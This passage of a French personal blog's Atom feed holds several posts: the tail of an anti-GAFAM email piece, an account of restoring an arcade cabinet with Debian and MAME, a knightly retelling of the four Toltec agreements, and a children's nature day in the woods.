&lt;p&gt;Il ne faut pas trop utiliser &lt;em&gt;l&amp;rsquo;interface web&lt;/em&gt; de Google, c&amp;rsquo;est un bon début. Il existe des alternatives (simples); utiliser un programme sur son pc (&lt;a href="https://www.mozilla.org/en-US/thunderbird/"&gt;Thunderbird&lt;/a&gt;), utiliser l&amp;rsquo;interface web de son fournisseur de mail si on n&amp;rsquo;est pas chez Gmail ou utiliser une interface web permettant de se connecter à son mail (&lt;a href="http://www.rainloop.net/"&gt;Rainloop&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Internet nous appartient, il n&amp;rsquo;appartient pas à GAFAM (Google Apple Facebook Amazon Microsoft). Il faut donc toujours et avec nos moyens éviter la centralisation.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://outlawblues.deviantart.com/art/Budapest-I-97180797"&gt;outlawblue&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Vessie timide ou problème de prostate ne sont pas l&amp;rsquo;objet du post.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Jamais personne n&amp;rsquo;écrira « ranger son pénis » ou « son zizi ». Il faut absolument utiliser une métaphore; tich, bite, engin, chose… Choisis la tienne.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Non, je ne compte pas parler du lavage des mains que l&amp;rsquo;on a rendu « obligatoire » par une loi ! #LOL. Je pourrais faire un article sur l&amp;rsquo;excès d&amp;rsquo;hygiène.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Il y a plein de trucs dont je ne parlerai pas aujourd&amp;rsquo;hui… par contre, je suis chaud pour faire plein de notes de bas de page. Vous voilà prévenus.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Je dis encore tirer la chasse alors que je pousse le bouton. Ce monde est fou n&amp;rsquo;est-il pas ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Je vous conseille la lecture de ce livre, un de mes préférés.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Si tu es sensible à l&amp;rsquo;écologie, tu noteras la présence d&amp;rsquo;une &lt;strong&gt;pile&lt;/strong&gt; dans le truc. Mais la majorité s&amp;rsquo;en fout :-(&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f8"&gt;
&lt;p&gt;Je sais que certains diront que l&amp;rsquo;on n&amp;rsquo;est pas obligés. D&amp;rsquo;accord… mais non.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f8" title="Jump back to footnote 8 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f9"&gt;
&lt;p&gt;Les petits phares à leds des voitures est un autre exemple. Il y en a plein.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f9" title="Jump back to footnote 9 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f10"&gt;
&lt;p&gt;Même si mon blog ne &lt;em&gt;sert&lt;/em&gt; à rien. Service n&amp;rsquo;est pas utilisé dans le sens &lt;em&gt;être utile&lt;/em&gt; mais dans le sens &lt;em&gt;être utilisé&lt;/em&gt;. Certains services sont utilisés (beaucoup) plus que d&amp;rsquo;autres ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f10" title="Jump back to footnote 10 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f11"&gt;
&lt;p&gt;T&amp;rsquo;ai-je dis que le blog était &lt;a href="http://namok.be/blog/?post/2013/01/30/pourquoi-me-flattrer"&gt;payant&lt;/a&gt; ? En fait il n&amp;rsquo;est pas payant, il a simplement besoin de &lt;a href="http://namok.be/blog/?post/2013/07/23/ce-besoin-de-reconnaissance"&gt;reconnaissance&lt;/a&gt; ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f11" title="Jump back to footnote 11 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f12"&gt;
&lt;p&gt;Cette concurrence est simplement une autre manière de faire son informatique. Il faut laisser le choix à tous de faire son informatique comme il veut.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f12" title="Jump back to footnote 12 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f13"&gt;
&lt;p&gt;Lire &lt;a href="https://degooglisons-internet.org/"&gt;dégooglisons internet par Framapad&lt;/a&gt; pour plus d&amp;rsquo;infos sur l&amp;rsquo;importance du web ouvert.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f13" title="Jump back to footnote 13 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f14"&gt;
&lt;p&gt;Quoique avec les sioux, c&amp;rsquo;était clair. Si tu les menaces ils te scalpent. Ici ce ne sont que leurs revenus qui sont (même pas) menacés.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f14" title="Jump back to footnote 14 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f15"&gt;
&lt;p&gt;Je sais que l&amp;rsquo;on n&amp;rsquo;était que 2 ;-) Plus sérieusement, j&amp;rsquo;ai utilisé mutt avec joie et pleine satisfaction pendant plus de 15 ans. J&amp;rsquo;ai changé lors de mon passage de &lt;em&gt;pop&lt;/em&gt; à &lt;em&gt;imap&lt;/em&gt;. Merci aux développeurs.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f15" title="Jump back to footnote 15 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f16"&gt;
&lt;p&gt;Vous vous rappelez le temps où il fallait une invitation (#nostalgie), puis celui où il fallait obligatoirement une autre adresse email pour se créer un compte.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f16" title="Jump back to footnote 16 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f17"&gt;
&lt;p&gt;Le pigeon mais le sait-il ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f17" title="Jump back to footnote 17 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f18"&gt;
&lt;p&gt;Tellement gros que l&amp;rsquo;on aurait pas osé. Mais t&amp;rsquo;inquiète, ça va marcher.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f18" title="Jump back to footnote 18 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f19"&gt;
&lt;p&gt;J&amp;rsquo;ai une adresse gmail. Bouh, c&amp;rsquo;est mal. Je n&amp;rsquo;utilise (quasi parce qu&amp;rsquo;il ne faut jamais écrire jamais) jamais l&amp;rsquo;interface web de gmail (ni inbox). Je suis très content de Icedove (&lt;em&gt;aka&lt;/em&gt; &lt;a href="https://www.mozilla.org/en-US/thunderbird/"&gt;Thunderbird&lt;/a&gt;)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f19" title="Jump back to footnote 19 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Borne d'arcade</title><link href="http://blog.namok.be/2016-02-16-borne-arcade.html" rel="alternate"/><published>2016-02-16T00:00:00+01:00</published><updated>2016-02-16T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-02-16:/2016-02-16-borne-arcade.html</id><summary type="html">J'ai récupéré une borne d'arcade.</summary><content type="html">&lt;p&gt;&lt;img alt="borne-1.jpg" src="/images/borne-1.jpg" title="borne-1.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai eu la chance de récupérer une &lt;strong&gt;borne d&amp;rsquo;arcade&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Mes souvenirs de ces bornes se concentrent à la période que j&amp;rsquo;ai passée à Louvain-la-neuve. Pas de télé au kot. Pas internet évidemment. Je passais alors un peu de temps dans le lunapark &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; à mater ceux qui savaient jouer. Soit parce que j&amp;rsquo;étais mauvais, soit parce que j&amp;rsquo;étais radin ;-) J&amp;rsquo;ai visuellement le souvenir de pas mal de jeu et je ne me souviens de quasi aucun nom.&lt;/p&gt;
&lt;p&gt;Bref, quand on m&amp;rsquo;a proposé une borne d&amp;rsquo;arcade, je n&amp;rsquo;ai pas hésité &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Un aller-retour au fin fond de la flandre et la borne se retrouve sous le préau.&lt;/p&gt;
&lt;p&gt;&lt;img alt="borne-3.jpg" src="/images/borne-3.jpg" title="borne-3.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;abord tout vider car je ne veux pas me contenter d&amp;rsquo;un seul jeu et que je n&amp;rsquo;y connais pas grand chose en électronique. Ensuite, essayer de récupérer un PC et un écran. L&amp;rsquo;idée, c&amp;rsquo;est que ça ne coûte (presque) rien. Ce sera donc principalement de la récup !&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;arrange pour récupérer un pc à l&amp;rsquo;école et, pour que la borne reste &lt;em&gt;vintage&lt;/em&gt;, je demande aussi un écran CRT.&lt;/p&gt;
&lt;p&gt;— Je pourrais récupérer un viel écran 17&amp;rsquo; CRT ?&lt;br&gt;
— Tu sais les écrans, on les garde, ils passent d&amp;rsquo;un labo à l&amp;rsquo;autre.&lt;br&gt;
— Un CRT, pas un TFT !&lt;br&gt;
— Ah… t&amp;rsquo;en veux combien ?&lt;/p&gt;
&lt;p&gt;La première chose à faire après le vidage (en fait, tu fais ça dans l&amp;rsquo;ordre que tu veux), c&amp;rsquo;est de &lt;strong&gt;bien nettoyer&lt;/strong&gt; les connecteurs des boutons et des joysticks &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. Il faut donc commencer par &lt;strong&gt;bien nettoyer&lt;/strong&gt; les connecteurs &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;. Quelques minutes et une feuille de papier de verre plus tard, c&amp;rsquo;est réglé.&lt;/p&gt;
&lt;p&gt;&lt;img alt="borne-4.jpg" src="/images/borne-4.jpg" title="borne-4.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Comme je ne suis pas électronicien et que je ne m&amp;rsquo;intéresse pas trop aux connecteurs Jamma, je vais devoir raccorder les boutons et les joystiks au pc. Il y a deux manières de faire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;le hack des manettes snes qui consiste à acheter des manettes, à les ouvrir et à souder les fils des boutons et des joysticks sur la carte électronique. Ensuite, brancher l&amp;rsquo;usb. Ça fonctionne et c&amp;rsquo;est pas très cher;&lt;/li&gt;
&lt;li&gt;acheter le &lt;em&gt;THT arcade console 2P USB controler&lt;/em&gt; (chez &lt;a href="http://www.starcab.net/product_info.php?products_id=1013&amp;amp;osCsid=1ac116375106bf46ce197a84a21f407e"&gt;starcab&lt;/a&gt; par exemple) connecter les boutons et les joysticks. C&amp;rsquo;est propre, ça évite les soudures et c&amp;rsquo;est quasi le même prix.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Après avoir chipoté un peu avec la première solution, c&amp;rsquo;est finalement la deuxième qui fonctionne bien pour moi… après avoir &lt;strong&gt;bien nettoyé&lt;/strong&gt; les connecteurs (sinon, ça fait court-circuit et la carte plante).&lt;/p&gt;
&lt;p&gt;Emporté par mon élan, je décide d&amp;rsquo;ajouter un bouton afin d&amp;rsquo;accéder à quelques &lt;em&gt;jeux de baston&lt;/em&gt; à 4 boutons (il n&amp;rsquo;y a pas vraiment la place pour en mettre 6). Une scie cloche et une heure plus tard, les trous son faits.&lt;/p&gt;
&lt;p&gt;&lt;img alt="borne-5.jpg" src="/images/borne-5.jpg" title="borne-5.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Les boutons et les joysticks sont raccordés. Je scie un peu, coupe et raccorde pour placer l&amp;rsquo;écran dans la borne, alimenter le &lt;em&gt;marquee&lt;/em&gt; et raccorder le baffle à un jack que je branche dans le pc.&lt;/p&gt;
&lt;p&gt;&lt;img alt="borne-6.jpg" src="/images/borne-6.jpg" title="borne-6.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Le pc.&lt;br&gt;
Reste le pc.&lt;/p&gt;
&lt;p&gt;Pas trop de soucis avec lui. J&amp;rsquo;installe une petite &lt;a href="http://debian.org/"&gt;debian&lt;/a&gt; avec l&amp;rsquo;émulateur &lt;a href="http://mamedev.org/"&gt;mame&lt;/a&gt;. Ce qui me prend le plus de temps, c&amp;rsquo;est la recherche des jeux qui m&amp;rsquo;intéressent (je vous ai dit que je ne connaissais pas les noms) et des &lt;em&gt;roms&lt;/em&gt; qui fonctionnent bien (j&amp;rsquo;ai principalement été sur &lt;a href="http://emuparadise.me/"&gt;emuparadise&lt;/a&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;mame
apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;advancemenu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Deux nuits plus tard, c&amp;rsquo;était plié ;-)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    1941.zip 1943.zip 3wonders.zip acrobatm.zip aof3.zip aof.zip arkanoid.zip
    arknoid2.zip atetrisb.zip athena.zip bbakraid.zip bgaregga.zip bldyroar.zip
    bldyror2.zip bloxeed.zip bublbobl.zip chasehq.zip columns.zip crimfght2.zip
    crimfght.zip daioh.zip ddragon2.zip diggerc.zip diggerma.zip dkong.zip
    fatfury2.zip fatfury3.zip galaga88.zip galpanic.zip guwange.zip gyruss.zip
    hangon.zip hharry.zip kof2002.zip ladykill.zip loht.zip mario.zip mrdrillr.zip
    neogeo.zip notuse pang.zip pbobble2u.zip pbobble2.zip pbobblen.zip pdrift.zip
    playch10.zip popnpop.zip psarc95.zip puzzli.zip radm.zip rtype.zip
    sailormn.zip samsh5sp.zip samsho5.zip samshoh.zip samsho.zip sfiii3 sfiii3.zip
    shanghaito.chd shanghss.chd shanhigw.zip shngmtkb.zip spacefev.zip stvbios.zip
    superpac.zip supmodel.zip suprmria.zip suprmrio.zip svcpcba.zip taitogn.zip
    tetris tgm2.zip tps.zip truxton2.zip volfied.zip 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J&amp;rsquo;utilise &lt;em&gt;advancemenu&lt;/em&gt; (dont la commande est &lt;code&gt;advmenu&lt;/code&gt; il faut le savoir ^^) comme interface plus conviviale que celle de &lt;em&gt;mame&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Tout est fonctionnel, je peux jouer.&lt;/p&gt;
&lt;p&gt;&lt;img alt="borne-7.jpg" src="/images/borne-7.jpg" title="borne-7.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;La prochaine étape est le remplacement de &lt;em&gt;debian / mame /advancemenu&lt;/em&gt; par &lt;em&gt;&lt;a href="http://lakka.tv/"&gt;Lakka&lt;/a&gt;&lt;/em&gt;, une distribution clef sur porte pour l&amp;rsquo;émulation de jeux.&lt;/p&gt;
&lt;p&gt;Ce sera pour demain…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Les photos sont de moi.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Mon correcteur ne connait pas &lt;em&gt;lunapark&lt;/em&gt; mais il connait &lt;em&gt;lupanars&lt;/em&gt;. Comme quoi.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Merci Waness, en me la donnant, on a fait plaisir à ton papa ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;On me l&amp;rsquo;avait effectivement dit… et ça n&amp;rsquo;a pas percuté. J&amp;rsquo;ai perdu pas mal de jours la-dessus en me demandant pourquoi les boutons et le joystick 2 ne fonctionnaient pas. Le coup de papier de verre magique de Bardack en aura raison.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Comme ça n&amp;rsquo;avait pas percuté chez moi, je répète :-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Un bouclier, une épée, une quête et une règle</title><link href="http://blog.namok.be/2016-02-04-un-bouclier-une-epee-une-quete-une-regle.html" rel="alternate"/><published>2016-02-04T00:00:00+01:00</published><updated>2016-02-04T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-02-04:/2016-02-04-un-bouclier-une-epee-une-quete-une-regle.html</id><summary type="html">Les 4 accords toltèques à travers l'histoire d'un jeune écuyer en quête de chevalerie.</summary><content type="html">&lt;p&gt;&lt;img alt="equipment_of_a_knight__by_antiochia-d3at6x0.jpg" src="/images/equipment_of_a_knight__by_antiochia-d3at6x0.jpg" title="equipment_of_a_knight__by_antiochia-d3at6x0.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Âgé d&amp;rsquo;à peine 14 ans, je courais derrière ce cheval depuis des kilomètres déjà. La fatigue commençait à se faire sentir mais j&amp;rsquo;avais décidé de ne pas faiblir. La chance m&amp;rsquo;était donnée d&amp;rsquo;être écuyer aujourd&amp;rsquo;hui et — je l&amp;rsquo;espère — chevalier demain. Je n&amp;rsquo;allais pas la laisser passer.&lt;/p&gt;
&lt;p&gt;Mon maitre m&amp;rsquo;avait dit qu&amp;rsquo;il y avait &lt;strong&gt;4&lt;/strong&gt; choses primordiales et essentielles pour être un chevalier.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Un chevalier a &lt;strong&gt;une épée&lt;/strong&gt;.&lt;br&gt;
&lt;strong&gt;Ta parole est impeccable et positive&lt;/strong&gt;, c&amp;rsquo;est ton épée. Tout comme ton épée, elle est à double tranchant. Les mots sont forts, il faut les utiliser à bon escient. Tu peux les utiliser pour faire le bien en réconfortant et en encourageant ou pour faire mal en insultant, en manipulant, en mentant.&lt;/p&gt;
&lt;p&gt;&lt;a href="2015-03-23-cessez-etre-gentil-soyez-vrai.html"&gt;Tu ne dois pas être gentil&lt;/a&gt;, tu peux simplement être vrai.&lt;/p&gt;
&lt;p&gt;Ces mots trottaient dans ma tête pendant que je suivais le cheval de mon maitre qui avait choisi de ralentir sentant mon souffle court à ses côtés. À la pause, je regardais avec insistance le bouclier de mon maitre, lorsqu&amp;rsquo;il déclara.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Ton épée sera toujours assortie d&amp;rsquo;un &lt;strong&gt;bouclier&lt;/strong&gt;.&lt;br&gt;
&lt;strong&gt;Ne réagis pas de façon personnelle&lt;/strong&gt;. Dans ta quête, on te traitera souvent de fou. La bonne question qu&amp;rsquo;il faudra te poser c&amp;rsquo;est: « L&amp;rsquo;es-tu ? ». Au fond de toi-même te penses-tu fou ? Non ? Si tu &lt;em&gt;sais&lt;/em&gt; que tu ne l&amp;rsquo;es pas, pas de soucis. Ce n&amp;rsquo;est pas parce que certains te &lt;em&gt;croient&lt;/em&gt; fou que tu l&amp;rsquo;&lt;em&gt;es&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;En reprenant la route, je repensais aux derniers mots de mon maitre car il avait ajouté que mon bouclier était un bouclier et pas une armure ni une carapace. Ah oui, je comprends. Mon bouclier me protège mais ne m&amp;rsquo;enferme pas. Il me garde ouvert. Sans doute pour accomplir cette quête.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;La raison d&amp;rsquo;être du chevalier, est sa &lt;strong&gt;quête&lt;/strong&gt;.&lt;br&gt;
&lt;strong&gt;Ne fait pas de supposition, cherche la vérité&lt;/strong&gt;. Ne crois pas tout ce que l&amp;rsquo;on raconte et ne te fie pas toujours à ce que tu ressens. Cherche la vérité là où elle se trouve. C&amp;rsquo;est ta quête. Si tu ne te renseignes pas — en demandant — tu ne peux pas savoir pourquoi les gens font — ou ne font pas — les choses. Inutile de rendre les choses désagréables en imaginant des choses, cherche à &lt;em&gt;savoir&lt;/em&gt; plutôt qu&amp;rsquo;à &lt;em&gt;croire&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai allumé le feu pour le bivouac et donné de l&amp;rsquo;eau au cheval. Je me suis appliqué pour satisfaire mon maitre et prendre soin du cheval. Mon maitre m&amp;rsquo;a félicité.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Le chevalier a une &lt;strong&gt;règle de vie&lt;/strong&gt;, une seule.&lt;br&gt;
&lt;strong&gt;Toujours faire de son mieux&lt;/strong&gt;. Fais toujours de ton mieux même si tes capacités d&amp;rsquo;aujourd&amp;rsquo;hui ne seront pas les mêmes que celles de demain. Simplement en fonction de comment tu te sens fais ta tâche le mieux que tu peux.&lt;/p&gt;
&lt;p&gt;Fort de ces 4 règles de vie du chevalier, nous avons repris notre route. L&amp;rsquo;enseignement de mon maitre était terminé, il ne me restait plus qu&amp;rsquo;à le mettre en pratique.&lt;br&gt;
Au fait, vous ai-je dit que mon maître n&amp;rsquo;avait pas de cheval ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://antiochia.deviantart.com/art/Equipment-of-a-Knight-199556676"&gt;Antiocha&lt;/a&gt;&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Cette histoire raconte les 4 accords toltèques de Miguel Ruiz, raconté en &lt;a href="https://vimeo.com/136811212"&gt;vidéo par Mélissa Monnier&lt;/a&gt;. Marie ayant partagé &lt;a href="http://kaleidoscope-kids.eu/4732-2/"&gt;l&amp;rsquo;article&lt;/a&gt;, j&amp;rsquo;en ai fait (toute) une histoire&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Une journée dans le bois avec Maloka</title><link href="http://blog.namok.be/2016-01-20-une-journee-dans-le-bois-avec-maloka.html" rel="alternate"/><published>2016-01-20T00:00:00+01:00</published><updated>2016-01-20T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-01-20:/2016-01-20-une-journee-dans-le-bois-avec-maloka.html</id><summary type="html">Une journée dans le bois avec Maloka</summary><content type="html">&lt;p&gt;&lt;img alt="DSC_201512_0020.jpg" src="/images//DSC_201512_0020.jpg" title="DSC_201512_0020.jpg, janv. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Pendant les vacances, certains parents travaillent et d&amp;rsquo;autres pas ou du moins pas tous les jours. C&amp;rsquo;est donc l&amp;rsquo;occasion de s&amp;rsquo;organiser pour se partager les enfants, voire organiser une journée d&amp;rsquo;animation.&lt;/p&gt;
&lt;p&gt;Dans le cadre de &lt;a href="http://www.athentransition.be/maloka/"&gt;Maloka&lt;/a&gt;, &lt;em&gt;la maison des enfants du monde&lt;/em&gt;. Un stage — d&amp;rsquo;une seule journée cette fois — a été organisé &lt;strong&gt;dans les bois&lt;/strong&gt;. Simplement.&lt;/p&gt;
&lt;p&gt;Une journée nature dans le bois.&lt;br&gt;
Marcher dans le bois c&amp;rsquo;est bien un peu, mais pas trop. Alors la journée a été entrecoupée de&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une chasse aux feuilles et aux cupules de chêne pour siffler dedans;&lt;/li&gt;
&lt;li&gt;une animation photo pour écouter la forêt et voir si elle a changé notre point de vue;&lt;/li&gt;
&lt;li&gt;un feu à la pause midi sur lequel nous avons fait cuire les crêpes après avoir préparé la pâte tous ensemble (ou presque).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cool.&lt;br&gt;
Pour ceux qui ne connaissaient pas, les crêpes ont même été agrémentées de feuilles de &lt;a href="https://fr.wikipedia.org/wiki/Consoude"&gt;consoude&lt;/a&gt; et d&amp;rsquo;orties. C&amp;rsquo;est sacrément bon.&lt;/p&gt;
&lt;p&gt;Une journée toute simple, sans heurt où les seuls petits soucis ont étés quelques chaussettes mouillées. Comme on dit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Il n&amp;rsquo;y a pas de mauvais temps, il n&amp;rsquo;y a que des mauvais vêtements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="maloka-201512-bois-m1.jpg" src="/images/maloka-201512-bois-m1.jpg" title="maloka-201512-bois-m1.jpg, janv. 2016"&gt;&lt;/p&gt;
&lt;p&gt;On se rencontre pendant la chasse aux trésors car on ne se connait pas tous. Et l&amp;rsquo;on continue à papoter pendant le dix heures.&lt;/p&gt;
&lt;p&gt;&lt;img alt="maloka-201512-bois-m2.jpg" src="/images//maloka-201512-bois-m2.jpg" title="maloka-201512-bois-m2.jpg, janv. 2016"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="maloka-201512-bois-m3.jpg" src="/images/maloka-201512-bois-m3.jpg" title="maloka-201512-bois-m3.jpg, janv. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Après un moment de réflexion sur la forêt qui nous entoure, regardons comment on la perçoit en fonction du point de vue — debout, couché par terre — et à travers le cadre de la photo.&lt;/p&gt;
&lt;p&gt;&lt;img alt="maloka-201512-bois-m4.jpg" src="/images/maloka-201512-bois-m4.jpg" title="maloka-201512-bois-m4.jpg, janv. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Les enfants allument le feu et préparent la pâte à crêpes après avoir ramené le bois. Pendant que le feu prépare ses braises, on peut manger le pique-nique. Les crêpes sont cuites.&lt;br&gt;
Mmh, le bon dessert.&lt;/p&gt;
&lt;p&gt;&lt;img alt="maloka-201512-bois-m5.jpg" src="/images/maloka-201512-bois-m5.jpg" title="maloka-201512-bois-m5.jpg, janv. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Quasi toute l&amp;rsquo;équipe de cette petite journée à la fois dehors et au coin du feu.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photos par pit. Les photos sont sous licence &lt;a href="http://creativecommons.org/licenses/by-nc-sa/4.0"&gt;CC-BY-NC-SA&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
